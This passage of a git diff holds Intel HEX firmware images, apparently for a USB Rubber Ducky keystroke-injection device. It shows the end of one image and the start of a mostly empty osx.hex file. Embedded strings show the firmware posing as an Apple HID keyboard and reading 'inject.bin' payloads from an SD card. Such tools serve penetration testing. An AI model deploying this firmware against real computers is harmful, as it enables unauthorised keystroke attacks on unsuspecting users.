+:106D4400EBCD4080E1B70000D30348781189124CA1 +:106D5400B08C30194858B089F01F0005E3B7000023 +:106D6400E3CF9080000001DC000001CE80006BC006 +:106D7400EBCD4080E1B70000D30348885CDC118987 +:106D8400126CB08C30194868B089F01F0006E3B764 +:106D94000000E3CF90800000000001DC000001CE81 +:106DA40080006BC0D4014849484A485B485CF01FE6 +:106DB4000006D80280006B800000000D000001D89E +:106DC400000001E480006E28D4014838118CF01FC3 +:106DD4000003D802000001D980007668D401F01FB6 +:106DE4000002D80280007664D40130084889B28851 +:106DF4004889B2884889B288300A300B4879F2EB66 +:106E040000004879B288F01F0007D802000001E4AE +:106E1400000001D8000001CF000001DC000001CE19 +:106E240080007662EBCD408014974C081188300ABC +:106E3400F4081800C504E2180060C3314BB9139A72 +:106E44003069F20A1800C2D1F01F00392F7C199959 +:106E54003218F0091800C2314B4811A83219F2084F +:106E64001800C0A14B18912C90B9198AF20A0D4947 +:106E7400B069E3CF908019E9F0091800C1014AB85C +:106E8400912790BA19FBF9390008F3EB10895CC912 +:106E94005C79F4090D49B069E3CF9080E3CF808039 +:106EA400E0480020C4014A1811983029F20818005B +:106EB400C0603039F2081800C361C07849B8912C19 +:106EC4003019B069E3CF90804988912B3019B069AB +:106ED400E3CF9080E2180060E0480020C2414938C6 +:106EE4001198309AF4081800C0B0C1D330A9F20840 +:106EF4001800C09030B9F2081800C151C0985D194B +:106F0400E3CD8080489811A8B888E3CF9080487872 +:106F140090393008F0091900C06148489018B688C3 +:106F2400E3CF9080E3CF80800000042880006F349A +:106F34004828700C5EFC0000000001F448787008DA +:106F4400700811AA11B9F3EA10895CC9F9D9C01003 +:106F5400F00C000C5EFC0000000001E8EBCD40E00A +:106F64001897169649B811893008F0091800C2F02C +:106F740049987008700811C9189EF8091800E0882B +:106F8400002749658B08F01F00166A08103CE0884A +:106F9400001F304B1099119AF60A1800C0A111AACB +:106FA4000E9EEE0A1800C05111BAEC0A1800C0B0C7 +:106FB4001388F2080008103CFE9BFFEE4879930802 +:106FC400E3CF80E048599308E3CF90E0E3CF80E03B +:106FD400000001F2000001E8000001F480006F40AD +:106FE400EBCD40C018961697F01F00110D881006BF +:106FF4000C3CE08800190D983049F2081800C130A3 +:10700400EE081800C0A1C1080D98F2081800C0B01D +:10701400EE081800C031C08830490D8810060C3CB9 +:10702400FE9BFFF430060C9CE3CD80C080006F40D3 +:10703400D401484811BCF9DCC007F01F0003D80292 +:107044000000042880003202EBCD40E01895F01FC8 +:107054000012C1F04918700730560C9B0E9CF01FAB +:1070640000101897C0D019CA19D8F1EA108A5CCA5E +:107074005C7A19BB19ACF01F000BCF01C0A848A85B +:1070840070087018F0050328700C5D1CE3CD80E0D7 +:10709400E3CF80E080006F60000001F480006FE4C3 +:1070A400800033B8000001E8EBCD40E01896189753 +:1070B400300BF01F0012C1E0491870087018F00678 +:1070C40003256A3C5D1C189B0C9CF01F000CC1201E +:1070D40048C8700730560C9B0E9CF01F000B189785 +:1070E400C05019ACF01F0009CF7B6A185D18E3CFBC +:1070F40090E0E3CF80E0000080006F60000001E8D2 +:10710400000001F480006FE480003388EBCD40C0C0 +:10711400496811893008F0091800C170494870089D +:10712400700811C93008F0091800C0F0300749068A +:107134000E9CF01F00102FF75C576C08700811C8E4 +:10714400EE081800FE9BFFF630094888B08948A86D +:107154009088E2180200C030F01F00083009486827 +:10716400B009E3CD80C00000000001F2000001E896 +:10717400800070AC000001F080007660EBCD40E050 +:10718400FEF8047C3009B069300A914A915A11889A +:10719400109AF2081800C094FEF90464923B300976 +:1071A400F20B1900E080022A1099E2190060E081D4 +:1071B40001F9F20A1800E0840106FEF9044292394A +:1071C4005809E08001EFF1D8C005E08100A3FEFA80 +:1071D400042E159A306BF60A1800C1A0308BF60AFB +:1071E4001800E0800088300BF60A1800E081009255 +:1071F4003028F0091900C040300CE08F01CF302B4B +:10720400FEFC0400F01F0100301CE08F01C7FEF8F3 +:1072140003EE9019F2081608302AF4081800C10089 +:10722400303AF4081800C2A03019F2081800C5F169 +:10723400FEF803D8700C198BF01F00F3C4785C5966 +:10724400FEF803C87008F1380011F2081800E0884D +:10725400004FFEF803B67018F009033C19A919B8D9 +:10726400F1E910885CC8F7D8C010F01F00E7FEF8F9 +:10727400038E70283029B099C2985C595819C100FE +:107284005829C0405809C060C328FEFC038230CB93 +:10729400C0A8304BFEFC037CF01F00DBC178FEFC71 +:1072A400037630ABFEFA03742FEA189811395CC9DF +:1072B40014B9F00C0109F6091800CF93A17B2FEB48 +:1072C400FEFC0358B88BF01F00D0FEF8033290394F +:1072D4009068F2081900E08B0005301CE08F015E15 +:1072E400FEF8031CB069301CE08F0158300CE08FAD +:1072F40001553018F0091900C040300CE08F014EE0 +:10730400301BFEFC031AF01F00C0301CE08F014646 +:107314005818C361FEFA02E8159B30AAF40B180052 +:10732400C2F1F0091900C2A1FEF802F41189300873 +:10733400F0091800C230FEF802C611D7FEF802E4C4 +:107344007008700811C8EE081800E0880018300BA7 +:107354000E9CF01F00B5C120FEF802C8700870181A +:10736400F0070328703C5D1CFEF802C0B08C301B93 +:10737400109CF01F00A5301CC109300CC0E958282E +:10738400E0810110FEF80278119A3008F00A180022 +:10739400E08101033028F0091900C030300CCFD847 +:1073A400FEF8025C11DCF01F00A2E0680100F9B8ED +:1073B4000000FEFC027EB808302BF01F0093301C46 +:1073C400CEC8F1D8C005E0810092FEF902321399CB +:1073D400303AF4091800C370E08B0008301AF4093D +:1073E4001800E0810084C198305AF4091800C06084 +:1073F400309AF4091800C7A1C3C8FEF802029039F4 +:107404003008F0091900C030300CCC78FEF902289D +:107414004FB89149301CCC184F9890393008F00976 +:107424001900C0F14F6890193018F0091900C09183 +:107434004F489009A9D9B009F01F0080301CCAD860 +:10744400300CCAB84EE890393008F0091900C0F180 +:107454004EB890193018F0091900C0914E9890094F +:10746400A9B9B009F01F0076301CC978300CC9588E +:107474004E3890393008F0091900C341F01F0071EB +:10748400C3104DF811B94E187008F13800111039B5 +:10749400E0890029F01F006C4D9811B84E09B2889C +:1074A4005808C22020184D997219F20800384DD995 +:1074B4009308700811C93008F0091800C15030074A +:1074C4000E954D860A9B0E9CF01F0060C0B02FF7EE +:1074D4005C576C08700811C8EE081800FE9BFFF496 +:1074E400C038300CC5A8301CC5885818C2214C4976 +:1074F400139A30B9F20A1800C1C14C1890393008F7 +:10750400F0091900C1414C6811893008F0091800CC +:10751400C0E04BB8901611D70E9CF01F004DC07000 +:10752400F7D6C0080E9CF01F0049C378300CC3582E +:107534005828C3714B2811983019F2081800C060FC +:107544003039F2081800C281C1484AD8903930084D +:10755400F0091900C0C14AA890193008F0091900AF +:10756400C0614A7811DCF01F003BC178300CC1586F +:107574004A3890393008F0091900C0C14A089019F6 +:107584003008F0091900C06149D811DCF01F00323D +:10759400C048300CC028300C580CC030E3CF90E009 +:1075A40049781188F1D8C0055818C27149C81189A1 +:1075B4003008F0091800C210491811D7499870080A +:1075C400700811C8EE081800E08800180E96300BF9 +:1075D4000E9CF01F0015C110492870087018F007A0 +:1075E40003276E3C5D1C189B0C9CF01F000FC050C1 +:1075F4006E2C5D1CE3CD80E0E3CF80E00000042826 +:10760400000001F08000323C00000088000000A46B +:10761400000000DA000000B4000000C0000001F225 +:10762400000001E880006F60000001EC8000324837 +:10763400000001EE80007034800076608000765E89 +:1076440080003224800071108000704C800070AC87 +:107654008000325C8000332C5EFC5EFC5EFC5EFFCE +:107664005EFDD703EBCD40C01897F1DCC001C0F03C +:10767400302CF01F0017497649788D08F01F001749 +:10768400300A301B6C0CF01F0016C048302CF01F61 +:1076940000150E98E2180002C0F0301CF01F000C18 +:1076A40048C649188D08F01F000D300A301B6C0CB9 +:1076B400F01F000BC048301CF01F000AE217000442 +:1076C400C040489948389109E3CD80C08000205CCF +:1076D400000000E480007F54800068D0800066C011 +:1076E400800020AC80007F64D401301CF01F0003B4 +:1076F400302CF01F0002D802800020ACEBCD40807B +:10770400205DF01F0033D5034B283009B089B099B0 +:10771400B0A9B0B9B0C9B0D93019B0E9F01F002E82 +:10772400F01F002E4AE81A97F0EA0000FAEB000076 +:10773400F0E80008FAE90008304B4AACF01F002AD0 +:107744001A9BFE7C2400F01F00293009129A129B18 +:10775400FE7C2400F01F0026FE7C2400F01F002580 +:10776400204DEEE80000FAE90000EEE80008FAE92E +:107774000008E06C1B00EA1C00B7F01F001F300C6F +:10778400F01F001E2FCD580CC0F1FACBFFF0F01FF4 +:10779400001CF01F001C300A301B49B8700CF01F8D +:1077A400001BC070C0E830270E9CF01F0019CFDB0F +:1077B40030270E9CF01F00160E9CF01F0016CFAB56 +:1077C400F01F0015F01F0015C008000080002F886E +:1077D40000000750800069888000200480007F44F6 +:1077E40080007F8480002E588000302E8000306618 +:1077F400800031C080002C0880006ABC80006AD000 +:10780400800068D0000000E4800066C08000205C36 +:10781400800020AC8000378C800035D8EBCD4080D0 +:107824004D7913882FF8B2883019F2081800E088CF +:1078340000A430094D28B0894D2890085808C0404C +:1078440020184D09B2084D0870085898E08B009232 +:107854004CE9F208032F30DCF01F004DE081008D6D +:107864004C8890093008F0091900E081008630192D +:107874004C589109E06900FA4C28B009E3CD8080A6 +:10788400309CF01F004430294BF89109E3CD8080EF +:10789400F01F0041C080F01F004130094BA891093E +:1078A400E3CD8080F01F003EEFDCB010F01F003C01 +:1078B4005C7CEFEC10875C874BA8B0070E985C5893 +:1078C400C0A1EFD7C1084B88B08730994AE8910925 +:1078D400E3CD8080EFD7C108C06130394AA891094F +:1078E400E3CD808030594A889109E3CD80804AD81D +:1078F400119CF01F002E30494A389109E3CD808055 +:107904004A88119CF01F002A302949F89109E3CDD7 +:1079140080804A48118CF01F0027306949A89109DA +:10792400E3CD808049F8119CF01F0020307949682C +:107934009109E3CD808049B8119CF01F001D308966 +:1079440049189109E3CD80804968118CF01F001A11 +:10795400302948D89109E3CD80804939138820180B +:107964005C58B288C091302948789109E3CD808071 +:10797400300948589109E3CD80800000000001FBE4 +:10798400000001FC000000E080007F1C80002F400C +:1079940080005F8080005EB480005ED880005F1449 +:1079A400000001F8000001FA80006C3480006CAC27 +:1079B40080006D4480006D74D401F01F00045C7C71 +:1079C400F01F0003D80200008000323080007820CD +:1079D400D4013008C0D8F808070EF6080709201AA1 +:1079E4002FF8F20E1800C040FC09010CD802580A06 +:1079F400CF31149CD802588AC2F5F9EB1009E21968 +:107A04000003E0810097E04A0020C3B4F4081402A4 +:107A1400F0091108FE09002F766999697659995978 +:107A2400764999497639993976299929761999198E +:107A340076099909F608002BF8080028E01A0003D3 +:107A4400F40A1104FE0A002F17A9B0A91799B099D6 +:107A54001789B0895EFCF40A1109FE0A002F17F990 +:107A6400B8F917E9B8E917D9B8D917C9B8C917B90E +:107A7400B8B917A9B8A91799B8991789B8895EFC34 +:107A8400EBCD40C01899220AB707B326B707B3262F +:107A9400B707B326B707B326220ACF742F0AC065E7 +:107AA400B707B326B707B326210A5C3AFE0A003F9C +:107AB400D703D703F736000EF366000EF736000D32 +:107AC400F366000DF736000CF366000CF736000B76 +:107AD400F366000BF736000AF366000AF73600096E +:107AE400F3660009F7360008F3660008F736000766 +:107AF400F3660007F7360006F3660006F73600055E +:107B0400F3660005F7360004F3660004F736000355 +:107B1400F3660003F7360002F3660002F73600014D +:107B2400F3660001F7360000F3660000E3CD80C081 +:107B3400201AF60A0709F80A0B09CFB15EFC189857 +:0C7B4400C03810CB201A580ACFD15EFCCC +:107C0000C0080000C0080000C0080000C008000054 +:107C1000C0080000C0080000C0080000C008000044 +:107C2000C0080000C0080000C0080000C008000034 +:107C3000C0080000C0080000C0080000C008000024 +:107C4000C0080000C00800000000000000000000A4 +:107C5000C00800000000000000000000000000005C +:107C6000C00800000000000000000000000000004C +:107C7000C00800000000000000000000000000003C +:107C800000000000000000000000000000000000F4 +:107C900000000000000000000000000000000000E4 +:107CA00000000000000000000000000000000000D4 +:107CB00000000000000000000000000000000000C4 +:107CC00000000000000000000000000000000000B4 +:107CD00000000000000000000000000000000000A4 +:107CE0000000000000000000000000000000000094 +:107CF0000000000000000000000000000000000084 +:107D0000C008D703300CFEB0D96B580CF80F171011 +:107D1000D603301CFEB0D964580CF80F1710D603E8 +:107D2000302CFEB0D95D580CF80F1710D603303C3C +:107D3000FEB0D956580CF80F1710D60300000104F6 +:107D40004000011280000120C000012ED703D7039C +:107D5000D703D703D703D703D703D703D703D70353 +:107D6000D703D703D703D703D703D703D703D70343 +:107D7000D703D703D703D703D703D703D703D70333 +:107D8000D703D703D703D703D703D703D703D70323 +:107D9000D703D703D703D703D703D703D703D70313 +:107DA000D703D703D703D703D703D703D703D70303 +:107DB000D703D703D703D703D703D703D703D703F3 +:107DC000D703D703D703D703D703D703D703D703E3 +:107DD000D703D703D703D703D703D703D703D703D3 +:107DE000D703D703D703D703D703D703D703D703C3 +:107DF000D703D703D703D703D703D703D703D703B3 +:107E000000000000000000800000000000000000F2 +:107E10000000000000000100000000010000000060 +:107E20000000000000200000000000020000000030 +:107E300000000000004000000000000600000000FC +:107E400000000001000001440000000B0000014898 +:107E50000000000600000174000000070000018C13 +:107E600000000001000001A800000001000001ACBA +:107E7000000000010000010C0000000100000110E2 +:107E800000000000000001140000000100000118C3 +:107E9000000000000000011C0000000100000120A3 +:107EA0000000000100000124000000010000012882 +:107EB000000000030000012C000000010000013858 +:107EC000000000000000013C000000010000014033 +:107ED000525261413A2A3F223C3E7C002B2C2E3BE1 +:107EE0003D5B5D007272416180002C4080002D90EE +:107EF00080002C3C80002C3E80002D2C80002CC467 +:107F000080007F042253442F4D4D4320436172640F +:107F1000206F766572205350492200008000785A05 +:107F20008000788480007894800078F28000790462 +:107F300080007916800079288000793A8000794C99 +:107F40008000795E0100000000B71B0008000001FE +:107F500000010000413A5C696E6A656374322E620A +:107F6000696E0000413A5C696E6A656374332E6223 +:107F7000696E0000413A5C696E6A6563742E6269DD +:107F80006E0000000F0019000E00110000202020DC +:107F900020202020202028282828282020202020B9 +:107FA0002020202020202020202020202088101089 +:107FB00010101010101010101010101010040404E5 +:107FC00004040404040404101010101010104141A3 +:107FD0004141414101010101010101010101010191 +:107FE00001010101010101011010101010104242A5 +:107FF0004242424202020202020202020202020261 +:108000000202020202020202101010102000000000 +:108010000000000000000000000000000000000060 +:108020000000000000000000000000000000000050 +:108030000000000000000000000000000000000040 +:108040000000000000000000000000000000000030 +:108050000000000000000000000000000000000020 +:108060000000000000000000000000000000000010 +:108070000000000000000000000000000000000000 +:1080800000000000000000000000000000000000F0 +:108090000000000F0105010906A101050719E029EB +:1080A000E715002501750195088102810119002954 +:1080B00065150025657508950681000508190129D3 +:1080C000051500250175019505910295039101C0E3 +:1080D00080006DEC80006DE080006DA880006B7CFE +:1080E00009022200010100A032090400000103007E +:1080F0000100092111010001223B0007058103084D +:108100000002000000000058000000840000004849 +:10811000000000900000007C120100020000000836 +:10812000AC0527220001010200010000484944205B +:108130004B6579626F617264000000004170706C81 +:108140006520496E632E000000030000000000005F +:10815000000000000000000000000000000000001F +:1081600000000403090400000000000180007F7487 +:0481700080007F8D7F +:040000058000000077 +:00000001FF diff --git a/Rubber_Duck/HAK/Firmware/Images/osx.hex b/Rubber_Duck/HAK/Firmware/Images/osx.hex new file mode 100755 index 0000000..0d4a1df --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Images/osx.hex @@ -0,0 +1,2072 @@ +:0200000480007A +:10000000E08F100000000000000000000000000071 +:1000100000000000000000000000000000000000E0 +:1000200000000000000000000000000000000000D0 +:1000300000000000000000000000000000000000C0 +:1000400000000000000000000000000000000000B0 +:1000500000000000000000000000000000000000A0 +:100060000000000000000000000000000000000090 +:100070000000000000000000000000000000000080 +:100080000000000000000000000000000000000070 +:100090000000000000000000000000000000000060 +:1000A0000000000000000000000000000000000050 +:1000B0000000000000000000000000000000000040 +:1000C0000000000000000000000000000000000030 +:1000D0000000000000000000000000000000000020 +:1000E0000000000000000000000000000000000010 +:1000F0000000000000000000000000000000000000 +:1001000000000000000000000000000000000000EF +:1001100000000000000000000000000000000000DF +:1001200000000000000000000000000000000000CF +:1001300000000000000000000000000000000000BF +:1001400000000000000000000000000000000000AF +:10015000000000000000000000000000000000009F +:10016000000000000000000000000000000000008F +:10017000000000000000000000000000000000007F +:10018000000000000000000000000000000000006F +:10019000000000000000000000000000000000005F +:1001A000000000000000000000000000000000004F +:1001B000000000000000000000000000000000003F +:1001C000000000000000000000000000000000002F +:1001D000000000000000000000000000000000001F +:1001E000000000000000000000000000000000000F +:1001F00000000000000000000000000000000000FF +:1002000000000000000000000000000000000000EE +:1002100000000000000000000000000000000000DE +:1002200000000000000000000000000000000000CE +:1002300000000000000000000000000000000000BE +:1002400000000000000000000000000000000000AE +:10025000000000000000000000000000000000009E +:10026000000000000000000000000000000000008E +:10027000000000000000000000000000000000007E +:10028000000000000000000000000000000000006E +:10029000000000000000000000000000000000005E +:1002A000000000000000000000000000000000004E +:1002B000000000000000000000000000000000003E +:1002C000000000000000000000000000000000002E +:1002D000000000000000000000000000000000001E +:1002E000000000000000000000000000000000000E +:1002F00000000000000000000000000000000000FE +:1003000000000000000000000000000000000000ED +:1003100000000000000000000000000000000000DD +:1003200000000000000000000000000000000000CD +:1003300000000000000000000000000000000000BD +:1003400000000000000000000000000000000000AD +:10035000000000000000000000000000000000009D +:10036000000000000000000000000000000000008D +:10037000000000000000000000000000000000007D +:10038000000000000000000000000000000000006D +:10039000000000000000000000000000000000005D +:1003A000000000000000000000000000000000004D +:1003B000000000000000000000000000000000003D +:1003C000000000000000000000000000000000002D +:1003D000000000000000000000000000000000001D +:1003E000000000000000000000000000000000000D +:1003F00000000000000000000000000000000000FD +:1004000000000000000000000000000000000000EC +:1004100000000000000000000000000000000000DC +:1004200000000000000000000000000000000000CC +:1004300000000000000000000000000000000000BC +:1004400000000000000000000000000000000000AC +:10045000000000000000000000000000000000009C +:10046000000000000000000000000000000000008C +:10047000000000000000000000000000000000007C +:10048000000000000000000000000000000000006C +:10049000000000000000000000000000000000005C +:1004A000000000000000000000000000000000004C +:1004B000000000000000000000000000000000003C +:1004C000000000000000000000000000000000002C +:1004D000000000000000000000000000000000001C +:1004E000000000000000000000000000000000000C +:1004F00000000000000000000000000000000000FC +:1005000000000000000000000000000000000000EB +:1005100000000000000000000000000000000000DB +:1005200000000000000000000000000000000000CB +:1005300000000000000000000000000000000000BB +:1005400000000000000000000000000000000000AB +:10055000000000000000000000000000000000009B +:10056000000000000000000000000000000000008B +:10057000000000000000000000000000000000007B +:10058000000000000000000000000000000000006B +:10059000000000000000000000000000000000005B +:1005A000000000000000000000000000000000004B +:1005B000000000000000000000000000000000003B +:1005C000000000000000000000000000000000002B +:1005D000000000000000000000000000000000001B +:1005E000000000000000000000000000000000000B +:1005F00000000000000000000000000000000000FB +:1006000000000000000000000000000000000000EA +:1006100000000000000000000000000000000000DA +:1006200000000000000000000000000000000000CA +:1006300000000000000000000000000000000000BA +:1006400000000000000000000000000000000000AA +:10065000000000000000000000000000000000009A +:10066000000000000000000000000000000000008A +:10067000000000000000000000000000000000007A +:10068000000000000000000000000000000000006A +:10069000000000000000000000000000000000005A +:1006A000000000000000000000000000000000004A +:1006B000000000000000000000000000000000003A +:1006C000000000000000000000000000000000002A +:1006D000000000000000000000000000000000001A +:1006E000000000000000000000000000000000000A +:1006F00000000000000000000000000000000000FA +:1007000000000000000000000000000000000000E9 +:1007100000000000000000000000000000000000D9 +:1007200000000000000000000000000000000000C9 +:1007300000000000000000000000000000000000B9 +:1007400000000000000000000000000000000000A9 +:100750000000000000000000000000000000000099 +:100760000000000000000000000000000000000089 +:100770000000000000000000000000000000000079 +:100780000000000000000000000000000000000069 +:100790000000000000000000000000000000000059 +:1007A0000000000000000000000000000000000049 +:1007B0000000000000000000000000000000000039 +:1007C0000000000000000000000000000000000029 +:1007D0000000000000000000000000000000000019 +:1007E0000000000000000000000000000000000009 +:1007F00000000000000000000000000000000000F9 +:1008000000000000000000000000000000000000E8 +:1008100000000000000000000000000000000000D8 +:1008200000000000000000000000000000000000C8 +:1008300000000000000000000000000000000000B8 +:1008400000000000000000000000000000000000A8 +:100850000000000000000000000000000000000098 +:100860000000000000000000000000000000000088 +:100870000000000000000000000000000000000078 +:100880000000000000000000000000000000000068 +:100890000000000000000000000000000000000058 +:1008A0000000000000000000000000000000000048 +:1008B0000000000000000000000000000000000038 +:1008C0000000000000000000000000000000000028 +:1008D0000000000000000000000000000000000018 +:1008E0000000000000000000000000000000000008 +:1008F00000000000000000000000000000000000F8 +:1009000000000000000000000000000000000000E7 +:1009100000000000000000000000000000000000D7 +:1009200000000000000000000000000000000000C7 +:1009300000000000000000000000000000000000B7 +:1009400000000000000000000000000000000000A7 +:100950000000000000000000000000000000000097 +:100960000000000000000000000000000000000087 +:100970000000000000000000000000000000000077 +:100980000000000000000000000000000000000067 +:100990000000000000000000000000000000000057 +:1009A0000000000000000000000000000000000047 +:1009B0000000000000000000000000000000000037 +:1009C0000000000000000000000000000000000027 +:1009D0000000000000000000000000000000000017 +:1009E0000000000000000000000000000000000007 +:1009F00000000000000000000000000000000000F7 +:100A000000000000000000000000000000000000E6 +:100A100000000000000000000000000000000000D6 +:100A200000000000000000000000000000000000C6 +:100A300000000000000000000000000000000000B6 +:100A400000000000000000000000000000000000A6 +:100A50000000000000000000000000000000000096 +:100A60000000000000000000000000000000000086 +:100A70000000000000000000000000000000000076 +:100A80000000000000000000000000000000000066 +:100A90000000000000000000000000000000000056 +:100AA0000000000000000000000000000000000046 +:100AB0000000000000000000000000000000000036 +:100AC0000000000000000000000000000000000026 +:100AD0000000000000000000000000000000000016 +:100AE0000000000000000000000000000000000006 +:100AF00000000000000000000000000000000000F6 +:100B000000000000000000000000000000000000E5 +:100B100000000000000000000000000000000000D5 +:100B200000000000000000000000000000000000C5 +:100B300000000000000000000000000000000000B5 +:100B400000000000000000000000000000000000A5 +:100B50000000000000000000000000000000000095 +:100B60000000000000000000000000000000000085 +:100B70000000000000000000000000000000000075 +:100B80000000000000000000000000000000000065 +:100B90000000000000000000000000000000000055 +:100BA0000000000000000000000000000000000045 +:100BB0000000000000000000000000000000000035 +:100BC0000000000000000000000000000000000025 +:100BD0000000000000000000000000000000000015 +:100BE0000000000000000000000000000000000005 +:100BF00000000000000000000000000000000000F5 +:100C000000000000000000000000000000000000E4 +:100C100000000000000000000000000000000000D4 +:100C200000000000000000000000000000000000C4 +:100C300000000000000000000000000000000000B4 +:100C400000000000000000000000000000000000A4 +:100C50000000000000000000000000000000000094 +:100C60000000000000000000000000000000000084 +:100C70000000000000000000000000000000000074 +:100C80000000000000000000000000000000000064 +:100C90000000000000000000000000000000000054 +:100CA0000000000000000000000000000000000044 +:100CB0000000000000000000000000000000000034 +:100CC0000000000000000000000000000000000024 +:100CD0000000000000000000000000000000000014 +:100CE0000000000000000000000000000000000004 +:100CF00000000000000000000000000000000000F4 +:100D000000000000000000000000000000000000E3 +:100D100000000000000000000000000000000000D3 +:100D200000000000000000000000000000000000C3 +:100D300000000000000000000000000000000000B3 +:100D400000000000000000000000000000000000A3 +:100D50000000000000000000000000000000000093 +:100D60000000000000000000000000000000000083 +:100D70000000000000000000000000000000000073 +:100D80000000000000000000000000000000000063 +:100D90000000000000000000000000000000000053 +:100DA0000000000000000000000000000000000043 +:100DB0000000000000000000000000000000000033 +:100DC0000000000000000000000000000000000023 +:100DD0000000000000000000000000000000000013 +:100DE0000000000000000000000000000000000003 +:100DF00000000000000000000000000000000000F3 +:100E000000000000000000000000000000000000E2 +:100E100000000000000000000000000000000000D2 +:100E200000000000000000000000000000000000C2 +:100E300000000000000000000000000000000000B2 +:100E400000000000000000000000000000000000A2 +:100E50000000000000000000000000000000000092 +:100E60000000000000000000000000000000000082 +:100E70000000000000000000000000000000000072 +:100E80000000000000000000000000000000000062 +:100E90000000000000000000000000000000000052 +:100EA0000000000000000000000000000000000042 +:100EB0000000000000000000000000000000000032 +:100EC0000000000000000000000000000000000022 +:100ED0000000000000000000000000000000000012 +:100EE0000000000000000000000000000000000002 +:100EF00000000000000000000000000000000000F2 +:100F000000000000000000000000000000000000E1 +:100F100000000000000000000000000000000000D1 +:100F200000000000000000000000000000000000C1 +:100F300000000000000000000000000000000000B1 +:100F400000000000000000000000000000000000A1 +:100F50000000000000000000000000000000000091 +:100F60000000000000000000000000000000000081 +:100F70000000000000000000000000000000000071 +:100F80000000000000000000000000000000000061 +:100F90000000000000000000000000000000000051 +:100FA0000000000000000000000000000000000041 +:100FB0000000000000000000000000000000000031 +:100FC0000000000000000000000000000000000021 +:100FD0000000000000000000000000000000000011 +:100FE0000000000000000000000000000000000001 +:100FF00000000000000000000000000000000000F1 +:1010000000000000000000000000000000000000E0 +:1010100000000000000000000000000000000000D0 +:1010200000000000000000000000000000000000C0 +:1010300000000000000000000000000000000000B0 +:1010400000000000000000000000000000000000A0 +:101050000000000000000000000000000000000090 +:101060000000000000000000000000000000000080 +:101070000000000000000000000000000000000070 +:101080000000000000000000000000000000000060 +:101090000000000000000000000000000000000050 +:1010A0000000000000000000000000000000000040 +:1010B0000000000000000000000000000000000030 +:1010C0000000000000000000000000000000000020 +:1010D0000000000000000000000000000000000010 +:1010E0000000000000000000000000000000000000 +:1010F00000000000000000000000000000000000F0 +:1011000000000000000000000000000000000000DF +:1011100000000000000000000000000000000000CF +:1011200000000000000000000000000000000000BF +:1011300000000000000000000000000000000000AF +:10114000000000000000000000000000000000009F +:10115000000000000000000000000000000000008F +:10116000000000000000000000000000000000007F +:10117000000000000000000000000000000000006F +:10118000000000000000000000000000000000005F +:10119000000000000000000000000000000000004F +:1011A000000000000000000000000000000000003F +:1011B000000000000000000000000000000000002F +:1011C000000000000000000000000000000000001F +:1011D000000000000000000000000000000000000F +:1011E00000000000000000000000000000000000FF +:1011F00000000000000000000000000000000000EF +:1012000000000000000000000000000000000000DE +:1012100000000000000000000000000000000000CE +:1012200000000000000000000000000000000000BE +:1012300000000000000000000000000000000000AE +:10124000000000000000000000000000000000009E +:10125000000000000000000000000000000000008E +:10126000000000000000000000000000000000007E +:10127000000000000000000000000000000000006E +:10128000000000000000000000000000000000005E +:10129000000000000000000000000000000000004E +:1012A000000000000000000000000000000000003E +:1012B000000000000000000000000000000000002E +:1012C000000000000000000000000000000000001E +:1012D000000000000000000000000000000000000E +:1012E00000000000000000000000000000000000FE +:1012F00000000000000000000000000000000000EE +:1013000000000000000000000000000000000000DD +:1013100000000000000000000000000000000000CD +:1013200000000000000000000000000000000000BD +:1013300000000000000000000000000000000000AD +:10134000000000000000000000000000000000009D +:10135000000000000000000000000000000000008D +:10136000000000000000000000000000000000007D +:10137000000000000000000000000000000000006D +:10138000000000000000000000000000000000005D +:10139000000000000000000000000000000000004D +:1013A000000000000000000000000000000000003D +:1013B000000000000000000000000000000000002D +:1013C000000000000000000000000000000000001D +:1013D000000000000000000000000000000000000D +:1013E00000000000000000000000000000000000FD +:1013F00000000000000000000000000000000000ED +:1014000000000000000000000000000000000000DC +:1014100000000000000000000000000000000000CC +:1014200000000000000000000000000000000000BC +:1014300000000000000000000000000000000000AC +:10144000000000000000000000000000000000009C +:10145000000000000000000000000000000000008C +:10146000000000000000000000000000000000007C +:10147000000000000000000000000000000000006C +:10148000000000000000000000000000000000005C +:10149000000000000000000000000000000000004C +:1014A000000000000000000000000000000000003C +:1014B000000000000000000000000000000000002C +:1014C000000000000000000000000000000000001C +:1014D000000000000000000000000000000000000C +:1014E00000000000000000000000000000000000FC +:1014F00000000000000000000000000000000000EC +:1015000000000000000000000000000000000000DB +:1015100000000000000000000000000000000000CB +:1015200000000000000000000000000000000000BB +:1015300000000000000000000000000000000000AB +:10154000000000000000000000000000000000009B +:10155000000000000000000000000000000000008B +:10156000000000000000000000000000000000007B +:10157000000000000000000000000000000000006B +:10158000000000000000000000000000000000005B +:10159000000000000000000000000000000000004B +:1015A000000000000000000000000000000000003B +:1015B000000000000000000000000000000000002B +:1015C000000000000000000000000000000000001B +:1015D000000000000000000000000000000000000B +:1015E00000000000000000000000000000000000FB +:1015F00000000000000000000000000000000000EB +:1016000000000000000000000000000000000000DA +:1016100000000000000000000000000000000000CA +:1016200000000000000000000000000000000000BA +:1016300000000000000000000000000000000000AA +:10164000000000000000000000000000000000009A +:10165000000000000000000000000000000000008A +:10166000000000000000000000000000000000007A +:10167000000000000000000000000000000000006A +:10168000000000000000000000000000000000005A +:10169000000000000000000000000000000000004A +:1016A000000000000000000000000000000000003A +:1016B000000000000000000000000000000000002A +:1016C000000000000000000000000000000000001A +:1016D000000000000000000000000000000000000A +:1016E00000000000000000000000000000000000FA +:1016F00000000000000000000000000000000000EA +:1017000000000000000000000000000000000000D9 +:1017100000000000000000000000000000000000C9 +:1017200000000000000000000000000000000000B9 +:1017300000000000000000000000000000000000A9 +:101740000000000000000000000000000000000099 +:101750000000000000000000000000000000000089 +:101760000000000000000000000000000000000079 +:101770000000000000000000000000000000000069 +:101780000000000000000000000000000000000059 +:101790000000000000000000000000000000000049 +:1017A0000000000000000000000000000000000039 +:1017B0000000000000000000000000000000000029 +:1017C0000000000000000000000000000000000019 +:1017D0000000000000000000000000000000000009 +:1017E00000000000000000000000000000000000F9 +:1017F00000000000000000000000000000000000E9 +:1018000000000000000000000000000000000000D8 +:1018100000000000000000000000000000000000C8 +:1018200000000000000000000000000000000000B8 +:1018300000000000000000000000000000000000A8 +:101840000000000000000000000000000000000098 +:101850000000000000000000000000000000000088 +:101860000000000000000000000000000000000078 +:101870000000000000000000000000000000000068 +:101880000000000000000000000000000000000058 +:101890000000000000000000000000000000000048 +:1018A0000000000000000000000000000000000038 +:1018B0000000000000000000000000000000000028 +:1018C0000000000000000000000000000000000018 +:1018D0000000000000000000000000000000000008 